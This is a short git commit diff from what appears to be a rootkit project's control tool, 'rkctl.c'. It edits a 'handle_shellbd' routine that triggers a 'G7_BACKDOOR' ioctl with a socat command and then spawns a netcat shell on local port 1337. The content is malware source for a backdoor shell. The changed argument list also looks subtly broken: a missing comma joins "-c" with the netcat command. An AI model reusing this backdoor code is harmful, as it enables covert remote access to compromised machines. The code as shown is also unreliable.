commit 08c47cada045ca45e75dc5af0bc2e302d812a3f9 parent 859073e790825a12fc5eab8d48c9a6bc64e4964a Author: deurzen <m.deurzen@tum.de> Date: Sat, 5 Dec 2020 18:41:24 +0100 fixes `shell` command issue Diffstat:
M | src/rkctl/rkctl.c | | | 6 | +++--- |
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c @@ -137,9 +137,9 @@ handle_shellbd(void *arg) issue_ioctl(G7_BACKDOOR, socat_cmd); char *argv[] = { - "nc", - "127.0.0.1", - "1337", + "sh", + "-c" + "nc 127.0.0.1 1337", NULL };